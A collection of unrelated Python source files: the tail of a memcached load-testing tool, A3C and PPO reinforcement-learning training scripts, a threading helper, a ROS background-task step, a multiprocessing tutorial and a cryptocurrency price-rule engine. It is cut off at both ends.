== 'a': rv = (0, 0, 0, 1, 0) curr_cmd, have_extra = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)] if not have_extra: curr_extra = '' hdr, vbucketId = self.header(curr_cmd, key_str, data, extra=curr_extra, opaque=key_num) m = self.inflight_append_buffer(grp, vbucketId, curr_cmd, self.cmds) m.append(hdr) if curr_extra: m.append(curr_extra) m.append(key_str) m.append(data) return rv def num_ops(self, cur): return self.ops def recvMsg(self): sock = self.conn.s buf = self.buf pkt, buf = self.readbytes(sock, MIN_RECV_PACKET, buf) magic, cmd, keylen, extralen, dtype, errcode, datalen, opaque, cas = \ struct.unpack(RES_PKT_FMT, pkt) if magic != RES_MAGIC_BYTE: raise Exception("Unexpected recvMsg magic: " + str(magic)) val, buf = self.readbytes(sock, datalen, buf) self.buf = buf if not self.obs_key_cas and cmd == CMD_SET: self.obs_key_cas[opaque] = cas # opaque is the key_num if not self.woq_key_cas and cmd == CMD_SET: self.woq_key_cas[opaque] = cas if "cor" in self.cfg and cmd == CMD_SET: self.cor_key_cas[opaque] = cas return cmd, keylen, extralen, errcode, datalen, opaque, val, buf class StoreMembaseBinary(StoreMemcachedBinary): def connect_host_port(self, host, port, user, pswd, bucket="default"): """ Connect to the server host using REST API. Username and password should be rest_username and rest_password, \ generally they are different from ssh identities. """ from lib.memcached.helper.data_helper import VBucketAwareMemcached info = {"ip": host, "port": port, 'username': user or self.cfg.get("rest_username", "Administrator"), 'password': pswd or self.cfg.get("rest_password", "password")} self.rest = RestConnection(info) self.awareness = VBucketAwareMemcached(self.rest, bucket, info) self.backoff = 0 self.xfer_sent = 0 self.xfer_recv = 0 def flush_level(self): f = StoreMemcachedBinary.flush_level(self) return f * len(self.awareness.memcacheds) def inflight_start(self): return { 's_bufs': {}, # Key is server str, value is [] of buffer. 's_cmds': {} # Key is server str, value is int (number of cmds). } def inflight_complete(self, inflight_grp): rv = [] # Array of tuples (server, buffer). s_bufs = inflight_grp['s_bufs'] for server in list(s_bufs.keys()): buffers = s_bufs[server] rv.append((server, ''.join(buffers))) return rv def inflight_send(self, inflight_msg): """ If timeout value is 0, blocks until everything been sent out \ or the connection breaks. """ timeout_sec = self.cfg.get("socket-timeout", 0) sent_total = 0 for server, buf in inflight_msg: length = len(buf) if length == 0: continue sent_tuple = 0 # byte sent out per tuple in inflight_msg while sent_tuple < length: try: conn = self.awareness.memcacheds[server] if timeout_sec > 0: conn.s.settimeout(timeout_sec) sent = conn.s.send(buf) if sent == 0: self.save_error("socket.send returned 0") log.error("socket.send returned 0") break sent_tuple += sent except socket.timeout: self.save_error("socket timeout") log.error("socket timeout") break except Exception as error: self.save_error(error) log.error(error) break sent_total += sent_tuple return sent_total def inflight_recv(self, inflight, inflight_grp, expectBuffer=None): received = 0 s_cmds = inflight_grp['s_cmds'] reset_my_awareness = False backoff = False for server in list(s_cmds.keys()): try: conn = self.awareness.memcacheds[server] try: recvBuf = conn.recvBuf except AttributeError: recvBuf = '' if expectBuffer == False and recvBuf != '': raise Exception("Was expecting empty buffer, but have (" + str(len(recvBuf)) + "): " + recvBuf) cmds = s_cmds[server] for i in range(cmds): try: rcmd, keylen, extralen, errcode, datalen, ropaque, val, recvBuf = \ self.recvMsgSockBuf(conn.s, recvBuf) received += datalen + MIN_RECV_PACKET if errcode == ERR_NOT_MY_VBUCKET: reset_my_awareness = True elif errcode == ERR_ENOMEM or \ errcode == ERR_EBUSY or \ errcode == ERR_ETMPFAIL: backoff = True self.save_error("errorcode = %s" % errcode) if errcode == ERR_ENOMEM: log.error("errorcode = ENOMEM") # Don't log backoffs due to ETMPFAIL/EBUSY except Exception as error: self.save_error(error) log.error(error) reset_my_awareness = True backoff = True conn.recvBuf = recvBuf except Exception as error: self.save_error(error) log.error(error) reset_my_awareness = True backoff = True if backoff: self.backoff = max(self.backoff, 0.1) * \ self.cfg.get('backoff-factor', 2.0) if self.backoff > 0: self.cur['cur-backoffs'] = self.cur.get('cur-backoffs', 0) + 1 log.info("inflight recv backoff = %s" % self.backoff) time.sleep(self.backoff) else: self.backoff = 0 if reset_my_awareness: try: self.awareness.reset() except Exception as error: self.save_error("awareness.reset: {0}".format(error)) log.error("awareness.reset: %s", error) return received def recvMsgSockBuf(self, sock, buf): pkt, buf = self.readbytes(sock, MIN_RECV_PACKET, buf) magic, cmd, keylen, extralen, dtype, errcode, datalen, opaque, cas = \ struct.unpack(RES_PKT_FMT, pkt) if magic != RES_MAGIC_BYTE: raise Exception("Unexpected recvMsg magic: " + str(magic)) if not self.obs_key_cas and cmd == CMD_SET: self.obs_key_cas[opaque] = cas # opaque is the key_num if not self.woq_key_cas and cmd == CMD_SET: self.woq_key_cas[opaque] = cas # opaque is the key_num if "cor" in self.cfg and cmd == CMD_SET: self.cor_key_cas[opaque] = cas # opaque is the key_num val, buf = self.readbytes(sock, datalen, buf) return cmd, keylen, extralen, errcode, datalen, opaque, val, buf def inflight_append_buffer(self, grp, vbucketId, opcode, opaque): s_bufs = grp['s_bufs'] s_cmds = grp['s_cmds'] s = self.awareness.vBucketMap[vbucketId] m = s_bufs.get(s, None) if m is None: m = [] s_bufs[s] = m s_cmds[s] = 0 s_cmds[s] += 1 return m class StoreMemcachedAscii(Store): def connect(self, target, user, pswd, cfg, cur, bucket="default", backups=None): self.cfg = cfg self.cur = cur self.target = target self.host_port = (target + ":11211").rsplit(':', 1)[0:2] self.host_port[1] = int(self.host_port[1]) self.skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.skt.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.skt.connect(tuple(self.host_port)) self.queue = [] self.ops = 0 self.previous_ops = 0 self.buf = '' self.arpa = ['add', 'replace', 'append', 'prepend'] self.xfer_sent = 0 self.xfer_recv = 0 def command(self, c): self.queue.append(c) if len(self.queue) > (self.cur.get('batch') or self.cfg.get('batch', 100)): self.flush() return True return False def command_send(self, cmd, key_num, key_str, data, expiration): if cmd[0] == 'g' or cmd[0] == 'q': return cmd + ' ' + key_str + '\r\n' if cmd[0] == 'd': return 'delete ' + key_str + '\r\n' c = 'set' if cmd[0] == 'a': c = self.arpa[self.cur.get('cur-sets', 0) % len(self.arpa)] return "%s %s 0 %s %s\r\n%s\r\n" % (c, key_str, expiration, len(data), data) def command_recv(self, cmd, key_num, key_str, data, expiration): buf = self.buf if cmd[0] == 'g' or cmd[0] == 'q': # GET... line, buf = self.readline(self.skt, buf) while line and line != 'END': # line == "VALUE k flags len" rvalue, rkey, rflags, rlen = line.split() data, buf = self.readbytes(self.skt, int(rlen) + 2, buf) line, buf = self.readline(self.skt, buf) elif cmd[0] == 'd': # DELETE... line, buf = self.readline(self.skt, buf) # line == "DELETED" else: # SET... line, buf = self.readline(self.skt, buf) # line == "STORED" self.buf = buf def flush(self): m = [] for c in self.queue: cmd, key_num, key_str, data, expiration = c m.append(self.command_send(cmd, key_num, key_str, data, expiration)) self.skt.send(''.join(m)) for c in self.queue: cmd, key_num, key_str, data, expiration = c self.command_recv(cmd, key_num, key_str, data, expiration) self.ops += len(self.queue) self.queue = [] def num_ops(self, cur): return self.ops def readline(self, skt, buf): while True: index = buf.find('\r\n') if index >= 0: break data = skt.recv(4096) if not data: return '', '' buf += data return buf[:index], buf[index + 2:] # -------------------------------------------------------- # A key is a 16 char hex string. def key_to_name(key_str): return "%s %s" % (key_str[-16:-12], key_str[-4:-1]) def key_to_email(key_str): return "%s@%s.com" % (key_str[-16:-12], key_str[-13:-11]) def key_to_city(key_str): return key_str[-12:-9] def key_to_country(key_str): return key_str[-9:-7] def key_to_realm(key_str): return key_str[-7:-5] def key_to_coins(key_str): sub_key = key_str[-16:] return max(0.0, int(sub_key[0:4], 16) / 100.0) def key_to_category(key_str): return int(key_str[-12], 16) % 3 def key_to_achievements(key_str): next = 300 achievements = [] sub_key = key_str[-16:] for i in range(len(sub_key)): next = (next + int(sub_key[i], 16) * i) % 500 if next < 256: achievements.append(next) return achievements doc_cache = {} def gen_doc_string(key_num, key_str, min_value_size, suffix, json, cache=None, key_name="key", suffix_ex="", whitespace=True): global doc_cache c = "{" if not json: c = "*" d = None if cache: d = doc_cache.get(key_num, None) if d is None: d = """"%s":"%s", "key_num":%s, "name":"%s", "email":"%s", "city":"%s", "country":"%s", "realm":"%s", "coins":%s, "category":%s, "achievements":%s,""" % (key_name, key_str, key_num, key_to_name(key_str), key_to_email(key_str), key_to_city(key_str), key_to_country(key_str), key_to_realm(key_str), key_to_coins(key_str), key_to_category(key_str), key_to_achievements(key_str)) if not whitespace: d = d.replace("\n ", "") if cache: doc_cache[key_num] = d return "%s%s%s%s" % (c, d, suffix_ex, suffix) # -------------------------------------------------------- PROTOCOL_STORE = {'memcached-ascii': StoreMemcachedAscii, 'memcached-binary': StoreMemcachedBinary, 'membase-binary': StoreMembaseBinary, 'none-binary': Store, 'none': Store} def final_report(cur, store, total_time): """Report final stats""" log.info(dict_to_s(cur)) if cur.get('cur-queries', 0): total_cmds = cur.get('cur-queries', 0) else: total_cmds = cur.get('cur-gets', 0) + cur.get('cur-sets', 0) log.info("ops/sec: %s" % (total_cmds / float(total_time))) if store.errors: log.warning("errors:\n%s", json.dumps(store.errors, indent=4)) def run(cfg, cur, protocol, host_port, user, pswd, stats_collector=None, stores=None, ctl=None, heartbeat=0, why="", bucket="default", backups=None, collection=None): if isinstance(cfg['min-value-size'], str): cfg['min-value-size'] = string.split(cfg['min-value-size'], ",") if not isinstance(cfg['min-value-size'], list): cfg['min-value-size'] = [cfg['min-value-size']] cfg['body'] = {} cfg['suffix'] = {} for i in range(len(cfg['min-value-size'])): mvs = int(cfg['min-value-size'][i]) cfg['min-value-size'][i] = mvs cfg['body'][mvs] = 'x' while len(cfg['body'][mvs]) < mvs: cfg['body'][mvs] = cfg['body'][mvs] + \ md5(str(len(cfg['body'][mvs])).encode("utf-8")).hexdigest() cfg['suffix'][mvs] = "\"body\":\"" + cfg['body'][mvs] + "\"}" ctl = ctl or {'run_ok': True} threads = [] for i in range(cfg.get('threads', 1)): store = None if stores and i < len(stores): store = stores[i] if store is None: store = PROTOCOL_STORE[protocol]() log.debug("store: %s - %s" % (i, store.__class__)) store.connect(host_port, user, pswd, cfg, cur, bucket=bucket, backups=backups) store.stats_collector(stats_collector) threads.append(threading.Thread(target=run_worker, args=(ctl, cfg, cur, store, "thread-" + str(i) + ": "))) store.show_some_keys() if cfg.get("doc-cache", 0) > 0 and cfg.get("doc-gen", 0) > 0: min_value_size = cfg['min-value-size'][0] json = cfg.get('json', 1) > 0 cache = cfg.get('doc-cache', 0) log.debug("doc-gen...") gen_start = time.time() for key_num in range(cfg.get("max-items", 0)): key_str = prepare_key(key_num, cfg.get('prefix', '')) store.gen_doc(key_num, key_str, min_value_size, json, cache) gen_end = time.time() log.debug("doc-gen...done (elapsed: %s, docs/sec: %s)" % (gen_end - gen_start, float(key_num) / (gen_end - gen_start))) def stop_after(secs): time.sleep(secs) log.info("exiting because of stop_after time") ctl['run_ok'] = False if cfg.get('time', 0) > 0: t = threading.Thread(target=stop_after, args=(cfg.get('time', 0),)) t.daemon = True t.start() t_start = time.time() try: if len(threads) <= 1: run_worker(ctl, cfg, cur, store, "", heartbeat, why) else: for thread in threads: thread.daemon = True thread.start() while threads: threads[0].join(1) threads = [t for t in threads if t.isAlive()] except KeyboardInterrupt: log.warning("exiting because of KeyboardInterrupt") ctl['run_ok'] = False t_end = time.time() final_report(cur, store, total_time=t_end - t_start) threads = [t for t in threads if t.isAlive()] heartbeat = 0 while threads: threads[0].join(1) heartbeat += 1 if heartbeat >= 60: heartbeat = 0 log.info("mcsoda is running with %s threads" % len(threads)) threads = [t for t in threads if t.isAlive()] ctl['run_ok'] = False if ctl.get('shutdown_event') is not None: ctl['shutdown_event'].set() log.info("%s stopped running." % why) return cur, t_start, t_end # -------------------------------------------------------- def main(argv, cfg_defaults=None, cur_defaults=None, protocol=None, stores=None, extra_examples=None): cfg_defaults = cfg_defaults or { "prefix": ("", "Prefix for every item key."), "max-ops": (0, "Max # of ops before exiting. 0 means keep going."), "max-items": (-1, "Max # of items; default 100000."), "max-creates": (-1, "Max # of creates; defaults to max-items."), "min-value-size": ("10", "Min value size (bytes) for SET's; comma-separated."), "ratio-sets": (0.1, "Fraction of requests that should be SET's."), "ratio-creates": (0.1, "Fraction of SET's that should create new items."), "ratio-misses": (0.05, "Fraction of GET's that should miss."), "ratio-hot": (0.2, "Fraction of items to have as a hot item subset."), "ratio-hot-sets": (0.95, "Fraction of SET's that hit the hot item subset."), "ratio-hot-gets": (0.95, "Fraction of GET's that hit the hot item subset."), "ratio-deletes": (0.0, "Fraction of SET updates that shold be DELETE's."), "ratio-arpas": (0.0, "Fraction of SET non-DELETE'S to be 'a-r-p-a' cmds."), "ratio-expirations": (0.0, "Fraction of SET's that use the provided expiration."), "ratio-queries": (0.0, "Fraction of GET hits that should be queries."), "expiration": (0, "Expiration time parameter for SET's"), "exit-after-creates": (0, "Exit after max-creates is reached."), "threads": (1, "Number of client worker threads to use."), "batch": (100, "Batch/pipeline up this # of commands per server."), "json": (1, "Use JSON documents. 0 to generate binary documents."), "time": (0, "Stop after this many seconds if > 0."), "max-ops-per-sec": (0, "When >0, max ops/second target performance."), "report": (40000, "Emit performance output after this many requests."), "histo-precision": (1, "Precision of histogram bins."), "vbuckets": (0, "When >0, vbucket hash in memcached-binary protocol."), "doc-cache": (1, "When 1, cache docs; faster, but uses O(N) memory."), "doc-gen": (1, "When 1 and doc-cache, pre-generate docs at start."), "backoff-factor": (2.0, "Exponential backoff factor on ETMPFAIL errors."), "hot-shift": (0, "# of keys/sec that hot item subset should shift."), "random": (0, "When 1, use random keys for gets and updates."), "queries": ("", "Query templates; semicolon-separated."), "socket-timeout": (0, "Used for socket.settimeout(), in seconds.")} cur_defaults = cur_defaults or { "cur-items": (0, "Number of items known to already exist."), "cur-sets": (0, "Number of sets already done."), "cur-creates": (0, "Number of sets that were creates."), "cur-gets": (0, "Number of gets already done."), "cur-deletes": (0, "Number of deletes already done."), "cur-arpas": (0, "# of add/replace/prepend/append's (a-r-p-a) cmds."), "cur-queries": (0, "Number of gets that were view/index queries."), "cur-base": (0, "Base of numeric key range. 0 by default.")} if len(argv) < 2 or "-h" in argv or "--help" in argv: print(("usage: %s [memcached[-binary|-ascii]://][user[:pswd]@]host[:port] [key=val]*\n" % (argv[0]))) print(" default protocol = memcached-binary://") print(" default port = 11211\n") examples = ["examples:", " %s membase://127.0.0.1:8091 max-items=1000000 json=1", " %s memcached://127.0.0.1:11210 vbuckets=1024", " %s memcached://127.0.0.1:11211", " %s memcached-ascii://127.0.0.1:11211", " %s memcached-binary://127.0.0.1:11211", " %s 127.0.0.1:11211", " %s 127.0.0.1", " %s my-test-bucket@127.0.0.1", " %s my-test-bucket:MyPassword@127.0.0.1", " %s none://"] if extra_examples: examples = examples + extra_examples for s in examples: if s.find("%s") > 0: print((s % (argv[0]))) else: print(s) print("") print("optional key=val's and their defaults:") for d in [cfg_defaults, cur_defaults]: for k in sorted(d.keys()): print((" %s = %s %s" % (string.ljust(k, 18), string.ljust(str(d[k][0]), 5), d[k][1]))) print("") print(" TIP: min-value-size can be comma-separated values: min-value-size=10,256,1024") print("") sys.exit(-1) cfg = {} cur = {} err = {} for (o, d) in [(cfg, cfg_defaults), (cur, cur_defaults)]: # Parse key=val pairs. for (dk, dv) in d.items(): o[dk] = dv[0] for kv in argv[2:]: s = (kv + '=').split('=')[0:-1] k = s[0] v = '='.join(s[1:]) if k and v and k in o: if not isinstance(o[k], str): try: v = ({'y': '1', 'n': '0'}).get(v, v) for parse in [float, int]: if str(parse(v)) == v: v = parse(v) except: err[kv] = err.get(kv, 0) + 1 o[k] = v else: err[kv] = err.get(kv, 0) + 1 for kv in err: if err[kv] > 1: log.error("problem parsing key=val option: " + kv) for kv in err: if err[kv] > 1: sys.exit(-1) if cfg.get('max-items', 0) < 0 and cfg.get('max-creates', 0) < 0: cfg['max-items'] = 100000 if cfg.get('max-items', 0) < 0: cfg['max-items'] = cfg.get('max-creates', 0) if cfg.get('max-creates', 0) < 0: cfg['max-creates'] = cfg.get('max-items', 0) for o in [cfg, cur]: for k in sorted(o.keys()): log.info(" %s = %s" % (string.ljust(k, 20), o[k])) protocol = protocol or '-'.join(((["memcached"] + argv[1].split("://"))[-2] + "-binary").split('-')[0:2]) host_port = ('@' + argv[1].split("://")[-1]).split('@')[-1] + ":11211" user, pswd = (('@' + argv[1].split("://")[-1]).split('@')[-2] + ":").split(':')[0:2] cfg["timing-suffixes"] = [""] run(cfg, cur, protocol, host_port, user, pswd, stores=stores) if __name__ == "__main__": main(sys.argv)
train.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import tensorflow.compat.v1 as tf tf.disable_v2_behavior() import threading import numpy as np import signal import random import os from network import ActorCriticFFNetwork from training_thread import A3CTrainingThread from utils.ops import log_uniform from utils.rmsprop_applier import RMSPropApplier from constants import ACTION_SIZE from constants import PARALLEL_SIZE from constants import INITIAL_ALPHA_LOW from constants import INITIAL_ALPHA_HIGH from constants import INITIAL_ALPHA_LOG_RATE from constants import MAX_TIME_STEP from constants import CHECKPOINT_DIR from constants import LOG_FILE from constants import RMSP_EPSILON from constants import RMSP_ALPHA from constants import GRAD_NORM_CLIP from constants import USE_GPU from constants import TASK_TYPE from constants import TASK_LIST if __name__ == '__main__': device = "/gpu:0" if USE_GPU else "/cpu:0" network_scope = TASK_TYPE list_of_tasks = TASK_LIST scene_scopes = list_of_tasks.keys() global_t = 0 stop_requested = False if not os.path.exists(CHECKPOINT_DIR): os.mkdir(CHECKPOINT_DIR) initial_learning_rate = log_uniform(INITIAL_ALPHA_LOW, INITIAL_ALPHA_HIGH, INITIAL_ALPHA_LOG_RATE) global_network = ActorCriticFFNetwork(action_size = ACTION_SIZE, device = device, network_scope = network_scope, scene_scopes = scene_scopes) branches = [] for scene in scene_scopes: for task in list_of_tasks[scene]: branches.append((scene, task)) NUM_TASKS = len(branches) assert PARALLEL_SIZE >= NUM_TASKS, \ "Not enough threads for multitasking: at least {} threads needed.".format(NUM_TASKS) learning_rate_input = tf.placeholder("float") grad_applier = RMSPropApplier(learning_rate = learning_rate_input, decay = RMSP_ALPHA, momentum = 0.0, epsilon = RMSP_EPSILON, clip_norm = GRAD_NORM_CLIP, device = device) # instantiate each training thread # each thread is training for one target in one scene training_threads = [] for i in range(PARALLEL_SIZE): scene, task = branches[i%NUM_TASKS] training_thread = A3CTrainingThread(i, global_network, initial_learning_rate, learning_rate_input, grad_applier, MAX_TIME_STEP, device = device, network_scope = "thread-%d"%(i+1), scene_scope = scene, task_scope = task) training_threads.append(training_thread) # prepare session sess = tf.Session(config=tf.ConfigProto(log_device_placement=False, allow_soft_placement=True)) init = tf.global_variables_initializer() sess.run(init) # create tensorboard summaries summary_op = dict() summary_placeholders = dict() for i in range(PARALLEL_SIZE): scene, task = branches[i%NUM_TASKS] key = scene + "-" + task # summary for tensorboard episode_reward_input = tf.placeholder("float") episode_length_input = tf.placeholder("float") episode_max_q_input = tf.placeholder("float") scalar_summaries = [ tf.summary.scalar(key+"/Episode Reward", episode_reward_input), tf.summary.scalar(key+"/Episode Length", episode_length_input), tf.summary.scalar(key+"/Episode Max Q", episode_max_q_input) ] summary_op[key] = tf.summary.merge(scalar_summaries) summary_placeholders[key] = { "episode_reward_input": episode_reward_input, "episode_length_input": episode_length_input, "episode_max_q_input": episode_max_q_input, "learning_rate_input": learning_rate_input } summary_writer = tf.summary.FileWriter(LOG_FILE, sess.graph) # init or load checkpoint with saver # if you don't need to be able to resume training, use the next line instead. # it will result in a much smaller checkpoint file. # saver = tf.train.Saver(max_to_keep=10, var_list=global_network.get_vars()) saver = tf.train.Saver(max_to_keep=10) checkpoint = tf.train.get_checkpoint_state(CHECKPOINT_DIR) if checkpoint and checkpoint.model_checkpoint_path: saver.restore(sess, checkpoint.model_checkpoint_path) print("checkpoint loaded: {}".format(checkpoint.model_checkpoint_path)) tokens = checkpoint.model_checkpoint_path.split("-") # set global step global_t = int(tokens[1]) print(">>> global step set: {}".format(global_t)) else: print("Could not find old checkpoint") def train_function(parallel_index): global global_t training_thread = training_threads[parallel_index] last_global_t = 0 scene, task = branches[parallel_index % NUM_TASKS] key = scene + "-" + task while global_t < MAX_TIME_STEP and not stop_requested: diff_global_t = training_thread.process(sess, global_t, summary_writer, summary_op[key], summary_placeholders[key]) global_t += diff_global_t # periodically save checkpoints to disk if parallel_index == 0 and global_t - last_global_t > 1000000: print('Save checkpoint at timestamp %d' % global_t) saver.save(sess, CHECKPOINT_DIR + '/' + 'checkpoint', global_step = global_t) last_global_t = global_t def signal_handler(signal, frame): global stop_requested print('You pressed Ctrl+C!') stop_requested = True train_threads = [] for i in range(PARALLEL_SIZE): train_threads.append(threading.Thread(target=train_function, args=(i,))) signal.signal(signal.SIGINT, signal_handler) # start each training thread for t in train_threads: t.start() print('Press Ctrl+C to stop.') signal.pause() # wait for all threads to finish for t in train_threads: t.join() print('Now saving data. Please wait.') saver.save(sess, CHECKPOINT_DIR + '/' + 'checkpoint', global_step = global_t) summary_writer.close()
multi_thread_processor.py
import threading try: from Queue import Queue, Empty except ImportError: from queue import Queue, Empty def dag_thread(dag_queue, vertex, executor, param): try: dag_queue.put((vertex, executor.execute(param))) except Exception as e: dag_queue.put((vertex, e)) class MultiThreadProcessor(object): def __init__(self, timeout=None): self.__timeout = timeout self.__dag_threads = {} self.__dag_queue = Queue() def __start_threads(self, vertice, executor): for vertex in vertice: if vertex not in self.__dag_threads: param_vertex = executor.param(vertex) args = [self.__dag_queue, vertex, executor, param_vertex] self.__dag_threads[vertex] = threading.Thread(target=dag_thread, args=args) self.__dag_threads[vertex].start() def __wait_threads(self, executor): try: item = self.__dag_queue.get(timeout=self.__timeout) self.__dag_threads[item[0]].join() del self.__dag_threads[item[0]] if isinstance(item[1], Exception): self.__clear_threads(executor) raise item[1] return [item] except Empty: return [] def __clear_threads(self, executor): executor.abort(set(self.__dag_threads.keys())) while self.__dag_threads: item = self.__dag_queue.get() self.__dag_threads[item[0]].join() del self.__dag_threads[item[0]] def process(self, vertice, executor): self.__start_threads(vertice, executor) return self.__wait_threads(executor)
background_task.py
#!/usr/bin/env python # Run a background task while the main task loop progresses import numpy as np from threading import Thread import rospy import actionlib from task_executor.abstract_step import AbstractStep from actionlib_msgs.msg import GoalStatus from assistance_msgs.msg import ExecuteAction, ExecuteGoal # Helpers def goal_status_from_code(status): mapping = { GoalStatus.SUCCEEDED: "SUCCEEDED", GoalStatus.PREEMPTED: "PREEMPTED", GoalStatus.ABORTED: "ABORTED", } return mapping.get(status, status) # The class definition class BackgroundTaskAction(AbstractStep): BACKGROUND_TASK_SERVER = "/idle_executor" def init(self, name): self.name = name # Is this background behaviour enabled or is it disabled? self.enabled = False # The background thread to keep track of the task self._background_thread = None # The action client self._background_client = actionlib.SimpleActionClient( BackgroundTaskAction.BACKGROUND_TASK_SERVER, ExecuteAction ) # Initialize the action client rospy.loginfo("Connecting to the background task executor...") self._background_client.wait_for_server() rospy.loginfo("...background task executor connected") def run(self, task): if isinstance(task, (list, tuple,)): task = np.random.choice(task) rospy.loginfo("Action {}: Starting background task {}".format(self.name, task)) # Wait for an old thread to complete, if it must self.stop() while self._background_thread is not None: rospy.sleep(0.5) yield self.set_running() # Create the goal, send it, and update in a new thread goal = ExecuteGoal(name=task) self._background_client.send_goal(goal) self.notify_action_send_goal(BackgroundTaskAction.BACKGROUND_TASK_SERVER, goal) self._enabled = True self._background_thread = Thread(target=self._check_on_goal) self._background_thread.start() # Yield a success self.set_succeeded() def stop(self): self._enabled = False def _check_on_goal(self): # Wait on the background task to complete while self._background_client.get_state() in AbstractStep.RUNNING_GOAL_STATES: if not self._enabled or rospy.is_shutdown(): self._background_client.cancel_goal() self.notify_action_cancel(BackgroundTaskAction.BACKGROUND_TASK_SERVER) rospy.sleep(0.5) # Get the state, result status = self._background_client.get_state() self._background_client.wait_for_result() result = self._background_client.get_result() self.notify_action_recv_result(BackgroundTaskAction.BACKGROUND_TASK_SERVER, status, result) # Exit cleanly rospy.loginfo("Action {}: Finished background task with result {}" .format(self.name, goal_status_from_code(status))) self._enabled = False self._background_thread = None
32multiprocessing.py
import os import random import time import subprocess from multiprocessing import Pool, Process, Queue print('Process (%s) start...' % os.getpid()) # pid = os.fork() # print(pid) # # if pid == 0: # print('I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid())) # else: # print('I (%s) just created a child process (%s).' % (os.getpid(), pid)) # def run_process(name): # print('Run child process %s (%s)...' % (name, os.getpid())) # # if __name__ == '__main__': # print('Parent process %s.' % os.getpid()) # p = Process(target=run_process, args=('test',)) # print('Child process will start.') # p.start() # p.join() # print('Child process end.') def long_time_task(name): print('Run task %s (%s)...' % (name, os.getpid())) start = time.time() time.sleep(random.random() * 3) end = time.time() print('Task %s runs %0.2f seconds.' % (name, (end - start))) if __name__ == '__main__': print('Parent process %s.' % os.getpid()) # Pool的默认大小是CPU的核数 p = Pool(2) for i in range(5): p.apply_async(long_time_task, args=(i,)) print('Waiting for all sub_processes done...') p.close() p.join() print('All sub_processes done.') print('$ nslookup www.python.org') r = subprocess.call(['nslookup', 'www.python.org']) print('Exit code:', r) def write(q): print('Process to write: %s' % os.getpid()) for value in ['A', 'B', 'C']: print('Put %s to queue...' % value) q.put(value) time.sleep(random.random()) def read(q): print('Process to read: %s' % os.getpid()) while True: value = q.get(True) print('Get %s from queue.' % value) if __name__ == '__main__': q = Queue() pw = Process(target=write, args=(q,)) pr = Process(target=read, args=(q,)) pw.start() pr.start() pw.join() pr.terminate()
exchange_rules.py
import time from rules import RuleChecker import threading class CryptoEngineRules: ''' exchange = filename ''' def __init__(self, exchange, ticker, rule, keyFile): self.exchange = exchange self.ticker = ticker self.rule = rule self.keyFile = keyFile self.checker = RuleChecker() def start_engine(self): print('Starting engine...') mod = __import__(self.exchange) cls = mod.ExchangeEngine() cls.load_key(self.keyFile) while True: ''' For history of about 1 hour ago to now ''' data = cls.get_ticker_history(self.ticker) parsedData = cls.parseTickerData(self.ticker, data) self.checker.check(self.rule, parsedData) time.sleep(cls.sleepTime) def run(self): thread = threading.Thread(target=self.start_engine) #thread.daemon = True # thread is terminated when the main script terminates thread.start() if __name__ == '__main__': exchange = 'gatecoin' ticker = 'BTCHKD' rule = 'oldest_latest_avg_of_5_larger_than_5per' keyFile = '../.keys/gatecoinkey' engine = CryptoEngineRules(exchange, ticker, rule, keyFile) engine.run() exchange = 'kraken' ticker = 'XRPUSD' rule = 'oldest_latest_avg_of_5_larger_than_5per' keyFile = '../.keys/krakenkey' engine = CryptoEngineRules(exchange, ticker, rule, keyFile) engine.run()
PPO_v1.py
""" A simple version of OpenAI's Proximal Policy Optimization (PPO). [https://arxiv.org/abs/1707.06347] Distributing workers in parallel to collect data, then stop worker's roll-out and train PPO on collected data. Restart workers once PPO is updated. The global PPO updating rule is adopted from DeepMind's paper (DPPO): Emergence of Locomotion Behaviours in Rich Environments (Google Deepmind): [https://arxiv.org/abs/1707.02286] code based on: https://morvanzhou.github.io/tutorials Dependencies: tensorflow r1.3 gym 0.9.2 """ import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import gym, threading, queue import time, os, sys config = tf.ConfigProto() config.gpu_options.allow_growth = True session = tf.Session(config=config) EP_MAX = 3000 EP_LEN = 200 N_WORKER = 4 # parallel workers N_WORKER_READY = 0 ACTION_LIMIT = 2. GAMMA = 0.9 # reward discount factor A_LR = 0.0001 # learning rate for actor C_LR = 0.0002 # learning rate for critic MIN_BATCH_SIZE = 64 # minimum batch size for updating PPO UPDATE_STEP = 10 # loop update operation n-steps EPSILON = 0.2 # for clipping surrogate objective GAME = 'Pendulum-v0' S_DIM, A_DIM = 3, 1 # state and action dimension class PPO(object): def __init__(self): self.sess = tf.Session() self.tfs = tf.placeholder(tf.float32, [None, S_DIM], 'state') # critic l1 = tf.layers.dense(self.tfs, 100, tf.nn.relu) self.v = tf.layers.dense(l1, 1) # V(s) self.tfdc_r = tf.placeholder(tf.float32, [None, 1], 'discounted_r') self.advantage = self.tfdc_r - self.v self.c_loss = tf.reduce_mean(tf.square(self.advantage)) self.c_train_op = tf.train.AdamOptimizer(C_LR).minimize(self.c_loss) # actor pi, pi_params = self._build_a_net('pi', trainable=True) # pi is a policy with a normal distribution N(mu,sigma), pi_params are the tf.GraphKeys.GLOBAL_VARIABLES oldpi, oldpi_params = self._build_a_net('oldpi', trainable=False) self.sample_op = tf.squeeze(oldpi.sample(1), axis=0) # operation of choosing action self.update_oldpi_op = [oldp.assign(p) for p, oldp in zip(pi_params, oldpi_params)] self.tfa = tf.placeholder(tf.float32, [None, A_DIM], 'action') self.tfadv = tf.placeholder(tf.float32, [None, 1], 'advantage') # ratio = tf.exp(pi.log_prob(self.tfa) - oldpi.log_prob(self.tfa)) #ratio = pi.prob(self.tfa) / (oldpi.prob(self.tfa) + 1e-5) #self.ratio = pi.prob(self.tfa) / ( oldpi.prob(self.tfa) ) #self.tfratio = tf.placeholder self.tfoldpi_prob = tf.placeholder(tf.float32, [None, 1], 'oldpi_prob') ratio = pi.prob(self.tfa) / (oldpi.prob(self.tfa) + 1e-5) self.a_loss = -tf.reduce_mean(tf.minimum(ratio * self.tfadv, tf.clip_by_value(ratio, 1. - EPSILON, 1. + EPSILON) * self.tfadv)) self.a_train_op = tf.train.AdamOptimizer(A_LR).minimize(self.a_loss) self.sess.run(tf.global_variables_initializer()) self.saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)) #self.saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)) #for _ in 